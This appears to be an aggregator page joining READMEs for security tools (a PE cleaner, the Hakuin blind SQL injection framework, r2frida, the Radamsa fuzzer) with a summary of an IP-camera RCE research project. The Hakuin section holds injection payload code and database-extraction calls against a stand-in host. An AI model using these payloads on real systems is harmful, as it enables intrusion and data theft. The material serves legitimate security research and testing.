Login
file-unpumper is a powerful command-line utility designed to clean and analyze Portable Executable (PE) files. It provides a range of features to help developers and security professionals work with PE files more effectively.
PE Header Fixing: file-unpumper can fix and align the PE headers of a given executable file. This is particularly useful for resolving issues caused by packers or obfuscators that modify the headers.
Resource Extraction: The tool can extract embedded resources from a PE file, such as icons, bitmaps, or other data resources. This can be helpful for reverse engineering or analyzing the contents of an executable.
Metadata Analysis: file-unpumper provides a comprehensive analysis of the PE file's metadata, including information about the machine architecture, number of sections, timestamp, subsystem, image base, and section details.
File Cleaning: The core functionality of file-unpumper is to remove any "pumped" or padded data from a PE file, resulting in a cleaned version of the executable. This can aid in malware analysis, reverse engineering, or simply reducing the file size.
Parallel Processing: To ensure efficient performance, file-unpumper leverages the power of parallel processing using the rayon crate, allowing it to handle large files with ease.
Progress Tracking: During the file cleaning process, a progress bar is displayed, providing a visual indication of the operation's progress and estimated time remaining.
file-unpumper is written in Rust and can be easily installed using the Cargo package manager:
FreshRSS cargo install file-unpumper
<INPUT>: The path to the input PE file.--fix-headers: Fix and align the PE headers of the input file.--extract-resources: Extract embedded resources from the input file.--analyze-metadata: Analyze and display the PE file's metadata.-h, --help: Print help information.-V, --version: Print version information.bash file-unpumper path/to/input.exe
bash file-unpumper --fix-headers --analyze-metadata path/to/input.exe
bash file-unpumper --extract-resources path/to/input.exe
bash file-unpumper --fix-headers --extract-resources --analyze-metadata path/to/input.exe
Contributions to file-unpumper are welcome! If you encounter any issues or have suggestions for improvements, please open an issue or submit a pull request on the GitHub repository.
The latest changelogs can be found in CHANGELOG.md
file-unpumper is released under the MIT License.
Hakuin is a Blind SQL Injection (BSQLI) optimization and automation framework written in Python 3. It abstracts away the inference logic and allows users to easily and efficiently extract databases (DB) from vulnerable web applications. To speed up the process, Hakuin utilizes a variety of optimization methods, including pre-trained and adaptive language models, opportunistic guessing, parallelism and more.
Hakuin has been presented at esteemed academic and industrial conferences: - BlackHat MEA, Riyadh, 2023 - Hack in the Box, Phuket, 2023 - IEEE S&P Workshop on Offsensive Technology (WOOT), 2023
More information can be found in our paper and slides.
To install Hakuin, simply run:
pip3 install hakuin
Developers should install the package locally and set the -e flag for editable mode:
git clone git@github.com:pruzko/hakuin.git
cd hakuin
pip3 install -e .
Once you identify a BSQLI vulnerability, you need to tell Hakuin how to inject its queries. To do this, derive a class from the Requester and override the request method. Also, the method must determine whether the query resolved to True or False.
import aiohttp
from hakuin import Requester
class StatusRequester(Requester):
async def request(self, ctx, query):
r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')
return r.status == 200
class ContentRequester(Requester):
async def request(self, ctx, query):
headers = {'vulnerable-header': f'xxx" OR ({query}) --'}
r = await aiohttp.get(f'http://vuln.com/', headers=headers)
return 'found' in await r.text()
To start extracting data, use the Extractor class. It requires a DBMS object to contruct queries and a Requester object to inject them. Hakuin currently supports SQLite, MySQL, PSQL (PostgreSQL), and MSSQL (SQL Server) DBMSs, but will soon include more options. If you wish to support another DBMS, implement the DBMS interface defined in hakuin/dbms/DBMS.py.
import asyncio
from hakuin import Extractor, Requester
from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL
class StatusRequester(Requester):
...
async def main():
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)
...
if __name__ == '__main__':
asyncio.get_event_loop().run_until_complete(main())
Now that eveything is set, you can start extracting DB metadata.
# strategy:
# 'binary': Use binary search
# 'model': Use pre-trained model
schema_names = await ext.extract_schema_names(strategy='model')
tables = await ext.extract_table_names(strategy='model')
columns = await ext.extract_column_names(table='users', strategy='model')
metadata = await ext.extract_meta(strategy='model')
Once you know the structure, you can extract the actual content.
# text_strategy: Use this strategy if the column is text
res = await ext.extract_column(table='users', column='address', text_strategy='dynamic')
# strategy:
# 'binary': Use binary search
# 'fivegram': Use five-gram model
# 'unigram': Use unigram model
# 'dynamic': Dynamically identify the best strategy. This setting
# also enables opportunistic guessing.
res = await ext.extract_column_text(table='users', column='address', strategy='dynamic')
res = await ext.extract_column_int(table='users', column='id')
res = await ext.extract_column_float(table='products', column='price')
res = await ext.extract_column_blob(table='users', column='id')
More examples can be found in the tests directory.
Hakuin comes with a simple wrapper tool, hk.py, that allows you to use Hakuin's basic functionality directly from the command line. To find out more, run:
python3 hk.py -h
This repository is actively developed to fit the needs of security practitioners. Researchers looking to reproduce the experiments described in our paper should install the frozen version as it contains the original code, experiment scripts, and an instruction manual for reproducing the results.
@inproceedings{hakuin_bsqli,
title={Hakuin: Optimizing Blind SQL Injection with Probabilistic Language Models},
author={Pru{\v{z}}inec, Jakub and Nguyen, Quynh Anh},
booktitle={2023 IEEE Security and Privacy Workshops (SPW)},
pages={384--393},
year={2023},
organization={IEEE}
}
This is a self-contained plugin for radare2 that allows to instrument remote processes using frida.
The radare project brings a complete toolchain for reverse engineering, providing well maintained functionalities and extend its features with other programming languages and tools.
Frida is a dynamic instrumentation toolkit that makes it easy to inspect and manipulate running processes by injecting your own JavaScript, and optionally also communicate with your scripts.
:. command):db apir_fs api.The recommended way to install r2frida is via r2pm:
$ r2pm -ci r2frida
Binary builds that don't require compilation will be soon supported in r2pm and r2env. Meanwhile feel free to download the last builds from the Releases page.
In GNU/Debian you will need to install the following packages:
$ sudo apt install -y make gcc libzip-dev nodejs npm curl pkg-config git
$ git clone https://github.com/nowsecure/r2frida.git
$ cd r2frida
$ make
$ make user-install
radare2 (instead of radare2-x.y.z)preconfigure.bat)configure.bat and then make.bat
b\r2frida.dll into r2 -H R2_USER_PLUGINS
For testing, use r2 frida://0, as attaching to the pid0 in frida is a special session that runs in local. Now you can run the :? command to get the list of commands available.
$ r2 'frida://?'
r2 frida://[action]/[link]/[device]/[target]
* action = list | apps | attach | spawn | launch
* link = local | usb | remote host:port
* device = '' | host:port | device-id
* target = pid | appname | process-name | program-in-path | abspath
Local:
* frida://? # show this help
* frida:// # list local processes
* frida://0 # attach to frida-helper (no spawn needed)
* frida:///usr/local/bin/rax2 # abspath to spawn
* frida://rax2 # same as above, considering local/bin is in PATH
* frida://spawn/$(program) # spawn a new process in the current system
* frida://attach/(target) # attach to target PID in current host
USB:
* frida://list/usb// # list processes in the first usb device
* frida://apps/usb// # list apps in the first usb device
* frida://attach/usb//12345 # attach to given pid in the first usb device
* frida://spawn/usb//appname # spawn an app in the first resolved usb device
* frida://launch/usb//appname # spawn+resume an app in the first usb device
Remote:
* frida://attach/remote/10.0.0.3:9999/558 # attach to pid 558 on tcp remote frida-server
Environment: (Use the `%` command to change the environment at runtime)
R2FRIDA_SAFE_IO=0|1 # Workaround a Frida bug on Android/thumb
R2FRIDA_DEBUG=0|1 # Used to debug argument parsing behaviour
R2FRIDA_COMPILER_DISABLE=0|1 # Disable the new frida typescript compiler (`:. foo.ts`)
R2FRIDA_AGENT_SCRIPT=[file] # path to file of the r2frida agent
$ r2 frida://0 # same as frida -p 0, connects to a local session
You can attach, spawn or launch to any program by name or pid, The following line will attach to the first process named rax2 (run rax2 - in another terminal to test this line)
$ r2 frida://rax2 # attach to the first process named `rax2`
$ r2 frida://1234 # attach to the given pid
Using the absolute path of a binary to spawn will spawn the process:
$ r2 frida:///bin/ls
[0x00000000]> :dc # continue the execution of the target program
Also works with arguments:
$ r2 frida://"/bin/ls -al"
For USB debugging iOS/Android apps use these actions. Note that spawn can be replaced with launch or attach, and the process name can be the bundleid or the PID.
$ r2 frida://spawn/usb/ # enumerate devices
$ r2 frida://spawn/usb// # enumerate apps in the first iOS device
$ r2 frida://spawn/usb//Weather # Run the weather app
These are the most frequent commands, so you must learn them and suffix it with ? to get subcommands help.
:i # get information of the target (pid, name, home, arch, bits, ..)
.:i* # import the target process details into local r2
:? # show all the available commands
:dm # list maps. Use ':dm|head' and seek to the program base address
:iE # list the exports of the current binary (seek)
:dt fread # trace the 'fread' function
:dt-* # delete all traces
r2frida plugins run in the agent side and are registered with the r2frida.pluginRegister API.
See the plugins/ directory for some more example plugin scripts.
[0x00000000]> cat example.js
r2frida.pluginRegister('test', function(name) {
if (name === 'test') {
return function(args) {
console.log('Hello Args From r2frida plugin', args);
return 'Things Happen';
}
}
});
[0x00000000]> :. example.js # load the plugin script
The :. command works like the r2's . command, but runs inside the agent.
:. a.js # run script which registers a plugin
:. # list plugins
:.-test # unload a plugin by name
:.. a.js # eternalize script (keeps running after detach)
If you are willing to install and use r2frida natively on Android via Termux, there are some caveats with the library dependencies because of some symbol resolutions. The way to make this work is by extending the LD_LIBRARY_PATH environment to point to the system directory before the termux libdir.
$ LD_LIBRARY_PATH=/system/lib64:$LD_LIBRARY_PATH r2 frida://...
Ensure you are using a modern version of r2 (preferibly last release or git).
Run r2 -L | grep frida to verify if the plugin is loaded, if nothing is printed use the R2_DEBUG=1 environment variable to get some debugging messages to find out the reason.
If you have problems compiling r2frida you can use r2env or fetch the release builds from the GitHub releases page, bear in mind that only MAJOR.MINOR version must match, this is r2-5.7.6 can load any plugin compiled on any version between 5.7.0 and 5.7.8.
+---------+
| radare2 | The radare2 tool, on top of the rest
+---------+
:
+----------+
| io_frida | r2frida io plugin
+----------+
:
+---------+
| frida | Frida host APIs and logic to interact with target
+---------+
:
+-------+
| app | Target process instrumented by Frida with Javascript
+-------+
This plugin has been developed by pancake aka Sergi Alvarez (the author of radare2) for NowSecure.
I would like to thank Ole André for writing and maintaining Frida as well as being so kind to proactively fix bugs and discuss technical details on anything needed to make this union to work. Kudos
Radamsa is a test case generator for robustness testing, a.k.a. a fuzzer. It is typically used to test how well a program can withstand malformed and potentially malicious inputs. It works by reading sample files of valid data and generating interestringly different outputs from them. The main selling points of radamsa are that it has already found a slew of bugs in programs that actually matter, it is easily scriptable and, easy to get up and running.
$ # please please please fuzz your programs. here is one way to get data for it:
$ sudo apt-get install gcc make git wget
$ git clone https://gitlab.com/akihe/radamsa.git && cd radamsa && make && sudo make install
$ echo "HAL 9000" | radamsa
Programming is hard. All nontrivial programs have bugs in them. What's more, even the simplest typical mistakes are in some of the most widely used programming languages usually enough for attackers to gain undesired powers.
Fuzzing is one of the techniques to find such unexpected behavior from programs. The idea is simply to subject the program to various kinds of inputs and see what happens. There are two parts in this process: getting the various kinds of inputs and how to see what happens. Radamsa is a solution to the first part, and the second part is typically a short shell script. Testers usually have a more or less vague idea what should not happen, and they try to find out if this is so. This kind of testing is often referred to as negative testing, being the opposite of positive unit- or integration testing. Developers know a service should not crash, should not consume exponential amounts of memory, should not get stuck in an infinite loop, etc. Attackers know that they can probably turn certain kinds of memory safety bugs into exploits, so they fuzz typically instrumented versions of the target programs and wait for such errors to be found. In theory, the idea is to counterprove by finding a counterexample a theorem about the program stating that for all inputs something doesn't happen.
There are many kinds of fuzzers and ways to apply them. Some trace the target program and generate test cases based on the behavior. Some need to know the format of the data and generate test cases based on that information. Radamsa is an extremely "black-box" fuzzer, because it needs no information about the program nor the format of the data. One can pair it with coverage analysis during testing to likely improve the quality of the sample set during a continuous test run, but this is not mandatory. The main goal is to first get tests running easily, and then refine the technique applied if necessary.
Radamsa is intended to be a good general purpose fuzzer for all kinds of data. The goal is to be able to find issues no matter what kind of data the program processes, whether it's xml or mp3, and conversely that not finding bugs implies that other similar tools likely won't find them either. This is accomplished by having various kinds of heuristics and change patterns, which are varied during the tests. Sometimes there is just one change, sometimes there a slew of them, sometimes there are bit flips, sometimes something more advanced and novel.
Radamsa is a side-product of OUSPG's Protos Genome Project, in which some techniques to automatically analyze and examine the structure of communication protocols were explored. A subset of one of the tools turned out to be a surprisingly effective file fuzzer. The first prototype black-box fuzzer tools mainly used regular and context-free formal languages to represent the inferred model of the data.
Supported operating systems: * GNU/Linux * OpenBSD * FreeBSD * Mac OS X * Windows (using Cygwin)
Software requirements for building from sources: * gcc / clang * make * git * wget
$ git clone https://gitlab.com/akihe/radamsa.git
$ cd radamsa
$ make
$ sudo make install # optional, you can also just grab bin/radamsa
$ radamsa --help
Radamsa itself is just a single binary file which has no external dependencies. You can move it where you please and remove the rest.
This section assumes some familiarity with UNIX scripting.
Radamsa can be thought as the cat UNIX tool, which manages to break the data in often interesting ways as it flows through. It has also support for generating more than one output at a time and acting as a TCP server or client, in case such things are needed.
Use of radamsa will be demonstrated by means of small examples. We will use the bc arbitrary precision calculator as an example target program.
In the simplest case, from scripting point of view, radamsa can be used to fuzz data going through a pipe.
$ echo "aaa" | radamsa
aaaa
Here radamsa decided to add one 'a' to the input. Let's try that again.
$ echo "aaa" | radamsa
ːaaa
Now we got another result. By default radamsa will grab a random seed from /dev/urandom if it is not given a specific random state to start from, and you will generally see a different result every time it is started, though for small inputs you might see the same or the original fairly often. The random state to use can be given with the -s parameter, which is followed by a number. Using the same random state will result in the same data being generated.
$ echo "Fuzztron 2000" | radamsa --seed 4
Fuzztron 4294967296
This particular example was chosen because radamsa happens to choose to use a number mutator, which replaces textual numbers with something else. Programmers might recognize why for example this particular number might be an interesting one to test for.
You can generate more than one output by using the -n parameter as follows:
$ echo "1 + (2 + (3 + 4))" | radamsa --seed 12 -n 4
1 + (2 + (2 + (3 + 4?)
1 + (2 + (3 +?4))
18446744073709551615 + 4)))
1 + (2 + (3 + 170141183460469231731687303715884105727))
There is no guarantee that all of the outputs will be unique. However, when using nontrivial samples, equal outputs tend to be extremely rare.
What we have so far can be used to for example test programs that read input from standard input, as in
$ echo "100 * (1 + (2 / 3))" | radamsa -n 10000 | bc
[...]
(standard_in) 1418: illegal character: ^_
(standard_in) 1422: syntax error
(standard_in) 1424: syntax error
(standard_in) 1424: memory exhausted
[hang]
Or the compiler used to compile Radamsa:
$ echo '((lambda (x) (+ x 1)) #x124214214)' | radamsa -n 10000 | ol
[...]
> What is 'ó µ'?
4901126677
> $
Or to test decompression:
$ gzip -c /bin/bash | radamsa -n 1000 | gzip -d > /dev/null
Typically however one might want separate runs for the program for each output. Basic shell scripting makes this easy. Usually we want a test script to run continuously, so we'll use an infinite loop here:
$ gzip -c /bin/bash > sample.gz
$ while true; do radamsa sample.gz | gzip -d > /dev/null; done
Notice that we are here giving the sample as a file instead of running Radamsa in a pipe. Like cat Radamsa will by default write the output to stdout, but unlike cat when given more than one file it will usually use only one or a few of them to create one output. This test will go about throwing fuzzed data against gzip, but doesn't care what happens then. One simple way to find out if something bad happened to a (simple single-threaded) program is to check whether the exit value is greater than 127, which would indicate a fatal program termination. This can be done for example as follows:
$ gzip -c /bin/bash > sample.gz
$ while true
do
radamsa sample.gz > fuzzed.gz
gzip -dc fuzzed.gz > /dev/null
test $? -gt 127 && break
done
This will run for as long as it takes to crash gzip, which hopefully is no longer even possible, and the fuzzed.gz can be used to check the issue if the script has stopped. We have found a few such cases, the last one of which took about 3 months to find, but all of them have as usual been filed as bugs and have been promptly fixed by the upstream.
One thing to note is that since most of the outputs are based on data in the given samples (standard input or files given at command line) it is usually a good idea to try to find good samples, and preferably more than one of them. In a more real-world test script radamsa will usually be used to generate more than one output at a time based on tens or thousands of samples, and the consequences of the outputs are tested mostly in parallel, often by giving each of the output on command line to the target program. We'll make a simple such script for bc, which accepts files from command line. The -o flag can be used to give a file name to which radamsa should write the output instead of standard output. If more than one output is generated, the path should have a %n in it, which will be expanded to the number of the output.
$ echo "1 + 2" > sample-1
$ echo "(124 % 7) ^ 1*2" > sample-2
$ echo "sqrt((1 + length(10^4)) * 5)" > sample-3
$ bc sample-* < /dev/null
3
10
5
$ while true
do
radamsa -o fuzz-%n -n 100 sample-*
bc fuzz-* < /dev/null
test $? -gt 127 && break
done
This will again run up to obviously interesting times indicated by the large exit value, or up to the target program getting stuck.
In practice many programs fail in unique ways. Some common ways to catch obvious errors are to check the exit value, enable fatal signal printing in kernel and checking if something new turns up in dmesg, run a program under strace, gdb or valgrind and see if something interesting is caught, check if an error reporter process has been started after starting the program, etc.
The examples above all either wrote to standard output or files. One can also ask radamsa to be a TCP client or server by using a special parameter to -o. The output patterns are:
| -o argument | meaning | example |
|---|---|---|
| :port | act as a TCP server in given port | # radamsa -o :80 -n inf samples/*.http-resp |
| ip:port | connect as TCP client to port of ip | $ radamsa -o 127.0.0.1:80 -n inf samples/*.http-req |
| - | write to stdout | $ radamsa -o - samples/*.vt100 |
| path | write to files, %n is testcase # and %s the first suffix | $ radamsa -o test-%n.%s -n 100 samples/*.foo |
Remember that you can use e.g. tcpflow to record TCP traffic to files, which can then be used as samples for radamsa.
A non-exhaustive list of free complementary tools:
A non-exhaustive list of related free tools: * American fuzzy lop (http://lcamtuf.coredump.cx/afl/) * Zzuf (http://caca.zoy.org/wiki/zzuf) * Bunny the Fuzzer (http://code.google.com/p/bunny-the-fuzzer/) * Peach (http://peachfuzzer.com/) * Sulley (http://code.google.com/p/sulley/)
Tools which are intended to improve security are usually complementary and should be used in parallel to improve the results. Radamsa aims to be an easy-to-set-up general purpose shotgun test to expose the easiest (and often severe due to being reachable from via input streams) cracks which might be exploitable by getting the program to process malicious data. It has also turned out to be useful for catching regressions when combined with continuous automatic testing.
A robustness testing tool is obviously only good only if it really can find non-trivial issues in real-world programs. Being a University-based group, we have tried to formulate some more scientific approaches to define what a 'good fuzzer' is, but real users are more likely to be interested in whether a tool has found something useful. We do not have anyone at OUSPG running tests or even developing Radamsa full-time, but we obviously do make occasional test-runs, both to assess the usefulness of the tool, and to help improve robustness of the target programs. For the test-runs we try to select programs that are mature, useful to us, widely used, and, preferably, open source and/or tend to process data from outside sources.
The list below has some CVEs we know of that have been found by using Radamsa. Some of the results are from our own test runs, and some have been kindly provided by CERT-FI from their tests and other users. As usual, please note that CVE:s should be read as 'product X is now more robust (against Y)'.
| CVE | program | credit |
|---|---|---|
| CVE-2007-3641 | libarchive | OUSPG |
| CVE-2007-3644 | libarchive | OUSPG |
| CVE-2007-3645 | libarchive | OUSPG |
| CVE-2008-1372 | bzip2 | OUSPG |
| CVE-2008-1387 | ClamAV | OUSPG |
| CVE-2008-1412 | F-Secure | OUSPG |
| CVE-2008-1837 | ClamAV | OUSPG |
| CVE-2008-6536 | 7-zip | OUSPG |
| CVE-2008-6903 | Sophos Anti-Virus | OUSPG |
| CVE-2010-0001 | Gzip | integer underflow in unlzw |
| CVE-2010-0192 | Acroread | OUSPG |
| CVE-2010-1205 | libpng | OUSPG |
| CVE-2010-1410 | Webkit | OUSPG |
| CVE-2010-1415 | Webkit | OUSPG |
| CVE-2010-1793 | Webkit | OUSPG |
| CVE-2010-2065 | libtiff | found by CERT-FI |
| CVE-2010-2443 | libtiff | found by CERT-FI |
| CVE-2010-2597 | libtiff | found by CERT-FI |
| CVE-2010-2482 | libtiff | found by CERT-FI |
| CVE-2011-0522 | VLC | found by Harry Sintonen |
| CVE-2011-0181 | Apple ImageIO | found by Harry Sintonen |
| CVE-2011-0198 | Apple Type Services | found by Harry Sintonen |
| CVE-2011-0205 | Apple ImageIO | found by Harry Sintonen |
| CVE-2011-0201 | Apple CoreFoundation | found by Harry Sintonen |
| CVE-2011-1276 | Excel | found by Nicolas Grégoire of Agarri |
| CVE-2011-1186 | Chrome | OUSPG |
| CVE-2011-1434 | Chrome | OUSPG |
| CVE-2011-2348 | Chrome | OUSPG |
| CVE-2011-2804 | Chrome/pdf | OUSPG |
| CVE-2011-2830 | Chrome/pdf | OUSPG |
| CVE-2011-2839 | Chrome/pdf | OUSPG |
| CVE-2011-2861 | Chrome/pdf | OUSPG |
| CVE-2011-3146 | librsvg | found by Sauli Pahlman |
| CVE-2011-3654 | Mozilla Firefox | OUSPG |
| CVE-2011-3892 | Theora | OUSPG |
| CVE-2011-3893 | Chrome | OUSPG |
| CVE-2011-3895 | FFmpeg | OUSPG |
| CVE-2011-3957 | Chrome | OUSPG |
| CVE-2011-3959 | Chrome | OUSPG |
| CVE-2011-3960 | Chrome | OUSPG |
| CVE-2011-3962 | Chrome | OUSPG |
| CVE-2011-3966 | Chrome | OUSPG |
| CVE-2011-3970 | libxslt | OUSPG |
| CVE-2012-0449 | Firefox | found by Nicolas Grégoire of Agarri |
| CVE-2012-0469 | Mozilla Firefox | OUSPG |
| CVE-2012-0470 | Mozilla Firefox | OUSPG |
| CVE-2012-0457 | Mozilla Firefox | OUSPG |
| CVE-2012-2825 | libxslt | found by Nicolas Grégoire of Agarri |
| CVE-2012-2849 | Chrome/GIF | OUSPG |
| CVE-2012-3972 | Mozilla Firefox | found by Nicolas Grégoire of Agarri |
| CVE-2012-1525 | Acrobat Reader | found by Nicolas Grégoire of Agarri |
| CVE-2012-2871 | libxslt | found by Nicolas Grégoire of Agarri |
| CVE-2012-2870 | libxslt | found by Nicolas Grégoire of Agarri |
| CVE-2012-2870 | libxslt | found by Nicolas Grégoire of Agarri |
| CVE-2012-4922 | tor | found by the Tor project |
| CVE-2012-5108 | Chrome | OUSPG via NodeFuzz |
| CVE-2012-2887 | Chrome | OUSPG via NodeFuzz |
| CVE-2012-5120 | Chrome | OUSPG via NodeFuzz |
| CVE-2012-5121 | Chrome | OUSPG via NodeFuzz |
| CVE-2012-5145 | Chrome | OUSPG via NodeFuzz |
| CVE-2012-4186 | Mozilla Firefox | OUSPG via NodeFuzz |
| CVE-2012-4187 | Mozilla Firefox | OUSPG via NodeFuzz |
| CVE-2012-4188 | Mozilla Firefox | OUSPG via NodeFuzz |
| CVE-2012-4202 | Mozilla Firefox | OUSPG via NodeFuzz |
| CVE-2013-0744 | Mozilla Firefox | OUSPG via NodeFuzz |
| CVE-2013-1691 | Mozilla Firefox | OUSPG |
| CVE-2013-1708 | Mozilla Firefox | OUSPG |
| CVE-2013-4082 | Wireshark | found by cons0ul |
| CVE-2013-1732 | Mozilla Firefox | OUSPG |
| CVE-2014-0526 | Adobe Reader X/XI | Pedro Ribeiro (pedrib@gmail.com) |
| CVE-2014-3669 | PHP | |
| CVE-2014-3668 | PHP | |
| CVE-2014-8449 | Adobe Reader X/XI | Pedro Ribeiro (pedrib@gmail.com) |
| CVE-2014-3707 | cURL | Symeon Paraschoudis |
| CVE-2014-7933 | Chrome | OUSPG |
| CVE-2015-0797 | Mozilla Firefox | OUSPG |
| CVE-2015-0813 | Mozilla Firefox | OUSPG |
| CVE-2015-1220 | Chrome | OUSPG |
| CVE-2015-1224 | Chrome | OUSPG |
| CVE-2015-2819 | Sybase SQL | vah_13 (ERPScan) |
| CVE-2015-2820 | SAP Afaria | vah_13 (ERPScan) |
| CVE-2015-7091 | Apple QuickTime | Pedro Ribeiro (pedrib@gmail.com) |
| CVE-2015-8330 | SAP PCo agent | Mathieu GELI (ERPScan) |
| CVE-2016-1928 | SAP HANA hdbxsengine | Mathieu Geli (ERPScan) |
| CVE-2016-3979 | SAP NetWeaver | @ret5et (ERPScan) |
| CVE-2016-3980 | SAP NetWeaver | @ret5et (ERPScan) |
| CVE-2016-4015 | SAP NetWeaver | @vah_13 (ERPScan) |
| CVE-2016-4015 | SAP NetWeaver | @vah_13 (ERPScan) |
| CVE-2016-9562 | SAP NetWeaver | @vah_13 (ERPScan) |
| CVE-2017-5371 | SAP ASE OData | @vah_13 (ERPScan) |
| CVE-2017-9843 | SAP NETWEAVER | @vah_13 (ERPScan) |
| CVE-2017-9845 | SAP NETWEAVER | @vah_13 (ERPScan) |
| CVE-2018-0101 | Cisco ASA WebVPN/AnyConnect | @saidelike (NCC Group) |
We would like to thank the Chromium project and Mozilla for analyzing, fixing and reporting further many of the above mentioned issues, CERT-FI for feedback and disclosure handling, and other users, projects and vendors who have responsibly taken care of uncovered bugs.
The following people have contributed to the development of radamsa in code, ideas, issues or otherwise.
Issues in Radamsa can be reported to the issue tracker. The tool is under development, but we are glad to get error reports even for known issues to make sure they are not forgotten.
You can also drop by at #radamsa on Freenode if you have questions or feedback.
Issues your programs should be fixed. If Radamsa finds them quickly (say, in an hour or a day) chances are that others will too.
Issues in other programs written by others should be dealt with responsibly. Even fairly simple errors can turn out to be exploitable, especially in programs written in low-level languages. In case you find something potentially severe, like an easily reproducible crash, and are unsure what to do with it, ask the vendor or project members, or your local CERT.
Q: If I find a bug with radamsa, do I have to mention the tool?
A: No.
Q: Will you make a graphical version of radamsa?
A: No. The intention is to keep it simple and scriptable for use in automated regression tests and continuous testing.
Q: I can't install! I don't have root access on the machine!
A: You can omit the $ make install part and just run radamsa from bin/radamsa in the build directory, or copy it somewhere else and use from there.
Q: Radamsa takes several GB of memory to compile!1
A: This is most likely due to an issue with your C compiler. Use prebuilt images or try the quick build instructions in this page.
Q: Radamsa does not compile using the instructions in this page!
A: Please file an issue at https://gitlab.com/akihe/radamsa/issues/new if you don't see a similar one already filed, send email (aohelin@gmail.com) or IRC (#radamsa on freenode).
Q: I used fuzzer X and found much more bugs from program Y than Radamsa did.
A: Cool. Let me know about it (aohelin@gmail.com) and I'll try to hack something X-ish to radamsa if it's general purpose enough. It'd also be useful to get some samples which you used to check how well radamsa does, because it might be overfitting some heuristic.
Q: Can I get support for using radamsa?
A: You can send email to aohelin@gmail.com or check if some of us happen to be hanging around at #radamsa on freenode.
Q: Can I use radamsa on Windows?
A: An experimental Windows executable is now in Downloads, but we have usually not tested it properly since we rarely use Windows internally. Feel free to file an issue if something is broken.
Q: How can I install radamsa?
A: Grab a binary from downloads and run it, or $ make && sudo make install.
Q: How can I uninstall radamsa?
A: Remove the binary you grabbed from downloads, or $ sudo make uninstall.
Q: Why are many outputs generated by Radamsa equal?
A: Radamsa doesn't keep track which outputs it has already generated, but instead relies on varying mutations to keep the output varying enough. Outputs can often be the same if you give a few small samples and generate lots of outputs from them. If you do spot a case where lots of equal outputs are generated, we'd be interested in hearing about it.
Q: There are lots of command line options. Which should I use for best results?
A: The recommended use is $ radamsa -o output-%n.foo -n 100 samples/*.foo, which is also what is used internally at OUSPG. It's usually best and most future proof to let radamsa decide the details.
Q: How can I make radamsa faster?
A: Radamsa typically writes a few megabytes of output per second. If you enable only simple mutations, e.g. -m bf,bd,bi,br,bp,bei,bed,ber,sr,sd, you will get about 10x faster output.
Q: What's with the funny name?
A: It's from a scene in a Finnish children's story. You've probably never heard about it.
Q: Is this the last question?
A: Yes.
Use of data generated by radamsa, especially when targeting buggy programs running with high privileges, can result in arbitrarily bad things to happen. A typical unexpected issue is caused by a file manager, automatic indexer or antivirus scanner trying to do something to fuzzed data before they are being tested intentionally. We have seen spontaneous reboots, system hangs, file system corruption, loss of data, and other nastiness. When in doubt, use a disposable system, throwaway profile, chroot jail, sandbox, separate user account, or an emulator.
Not safe when used as prescribed.
This product may contain faint traces of parenthesis.
.png)
Faraday’s researchers Javier Aguinaga and Octavio Gianatiempo have investigated on IP cameras and two high severity vulnerabilities.
This research project began when Aguinaga's wife, a former Research leader at Faraday Security, informed him that their IP camera had stopped working. Although Javier was initially asked to fix it, being a security researcher, opted for a more unconventional approach to tackle the problem. He brought the camera to their office and discussed the issue with Gianatiempo, another security researcher at Faraday. The situation quickly escalated from some light reverse engineering to a full-fledged vulnerability research project, which ended with two high-severity bugs and an exploitation strategy worthy of the big screen.
They uncovered two LAN remote code execution vulnerabilities in EZVIZ’s implementation of Hikvision’s Search Active Devices Protocol (SADP) and SDK server:
The affected code is present in several EZVIZ products, which include but are not limited to:
| Product Model | Affected Versions |
|---|---|
| CS-C6N-B0-1G2WF | Versions below V5.3.0 build 230215 |
| CS-C6N-R101-1G2WF | Versions below V5.3.0 build 230215 |
| CS-CV310-A0-1B2WFR | Versions below V5.3.0 build 230221 |
| CS-CV310-A0-1C2WFR-C | Versions below V5.3.2 build 230221 |
| CS-C6N-A0-1C2WFR-MUL | Versions below V5.3.2 build 230218 |
| CS-CV310-A0-3C2WFRL-1080p | Versions below V5.2.7 build 230302 |
| CS-CV310-A0-1C2WFR Wifi IP66 2.8mm 1080p | Versions below V5.3.2 build 230214 |
| CS-CV248-A0-32WMFR | Versions below V5.2.3 build 230217 |
| EZVIZ LC1C | Versions below V5.3.4 build 230214 |
These vulnerabilities affect IP cameras and can be used to execute code remotely, so they drew inspiration from the movies and decided to recreate an attack often seen in heist films. The hacker in the group is responsible for hijacking the cameras and modifying the feed to avoid detection. Take, for example, this famous scene from Ocean’s Eleven:
Exploiting either of these vulnerabilities, Javier and Octavio served a victim an arbitrary video stream by tunneling their connection with the camera into an attacker-controlled server while leaving all other camera features operational. A deep detailed dive into the whole research process, can be found in these slides and code. It covers firmware analysis, vulnerability discovery, building a toolchain to compile a debugger for the target, developing an exploit capable of bypassing ASLR. Plus, all the details about the Hollywood-style post-exploitation, including tracing, in memory code patching and manipulating the execution of the binary that implements most of the camera features.
This research shows that memory corruption vulnerabilities still abound on embedded and IoT devices, even on products marketed for security applications like IP cameras. Memory corruption vulnerabilities can be detected by static analysis, and implementing secure development practices can reduce their occurrence. These approaches are standard in other industries, evidencing that security is not a priority for embedded and IoT device manufacturers, even when developing security-related products. By filling the gap between IoT hacking and the big screen, this research questions the integrity of video surveillance systems and hopes to raise awareness about the security risks posed by these kinds of devices.
